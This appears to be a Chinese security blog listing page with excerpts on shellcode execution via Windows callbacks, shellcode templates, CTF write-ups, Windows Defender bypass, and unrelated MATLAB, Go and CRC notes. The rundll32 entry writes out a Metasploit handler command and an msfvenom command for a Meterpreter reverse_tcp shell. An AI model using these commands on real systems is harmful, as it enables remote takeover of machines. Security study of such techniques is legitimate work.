• 2024-12-18【Windows安全】13种回调函数执行ShellCode
    #windows#回调函数回调机制在我们使用回调函数执行Shellcode之前,我们首先需要去了解Windows回调机制,Windows回调机制就像你和你的助手一样,比如说每一个律师所中的每一个律师都有一个实习助手,律师需要助手在特定的情况下去处理一些特殊的任务,但这些任务并不是日常工作的一部分。
  • 2024-11-23matlab中mrdivide和mldivide记录
    解方程中常常见到Ax=B的形式,虽然可以用A^{-1}Ax=A^{-1}B的形式,也就是把A的逆矩阵求解出来的方式处理,但是A不是方阵时是没有办法用求逆的方法处理的,matlab中提供了mldivide和mrdivide的方式,具体如下:1.Ax=BA在x的左侧,调用mldivide(A,B),此处的l与A对应,表明左边的A在变量的左侧2.x
  • 2024-09-04Wx64ST:一款轻松可修改的C语言Shellcode模板
    关于windows_x64_shellcode_templatewindows_x64_shellcode_template简称为Wx64ST,它是一款功能强大的Shellcode模板,该模板基于C语言编写,其简单、可扩展和易于修改等特性可以帮助广大安全研究人员轻松开发适用于Windowsx64的Shellcode。值得一提的是,该模板代码可以加载Load
  • 2023-10-06SMC出题记录
    SMC出题记录:SMC:当我们用IDA反汇编时看到的就是异或前的机器码,也就是加过密的。而程序运行中会自己调用for循环解密机器码,所以运行起来就没问题,而对静态分析会产生干扰出题源码:#include<stdio.h>#include<Windows.h>#include<stdlib.h>voidtest(){printf("Congratu
  • 2023-07-31DASCTF 2023 & 0X401七月暑期挑战赛
    比赛只出了一道,小菜不是罪过-_-controlflow这个题动调到底就行foriinrange(40):after_xor[i]=inp[i]^0x401after_xor[i]+=i*i;foriinrange(11,30,1):x=i-10after_xor[i]^=x*(x+1)foriinrange(40):after_xor[i]-=iafter_xo
  • 2023-06-16白名单rundll32加载shellcode上线metasploit(nim学习系列)
    白名单rundll32加载shellcode上线metasploit监听metasploitmsfconsole-x"useexploits/multi/handler;setlhost192.168.0.101;setlport443;setpayloadwindows/x64/meterpreter/reverse_tcp;exploit"生成shellcodemsfvenom-pwindows/x64/meterpreter/r
  • 2023-03-13go mmap
    packagemainimport("fmt""os""syscall")funcF(a,buint64)uint64{r:=make([]uint64,1)cadd(r,9,8)returna+b+r[0]}funccalls(res[]ui
  • 2023-01-25绕过 Windows Defender (最新版本)
    在本文中,将绕过WindowsDefender(最新版本),并详细解释每个步骤。准备-Windows10机器(目标机)-已获取目标机的低级特权帐户-Linux机器(攻击者)-DefenderAnti-Virus在发布
  • 2023-01-19使用Graalvm加载Shellcode
    Graalvm介绍介绍Graalvm之前,首先就要了解Java编译的JIT和AOT是什么JIT(Just-in-Time,即时编译)和AOT(Ahead-of-Time,预编译),就像Java常见的是需要什么类,就加载进来编译并
  • 2022-12-22CRC计算
    参考,(159条消息)CRC16常见几个标准的算法及C语言实现_leumber的博客-CSDN博客_crc16#include<stdio.h>/****************************Info***************************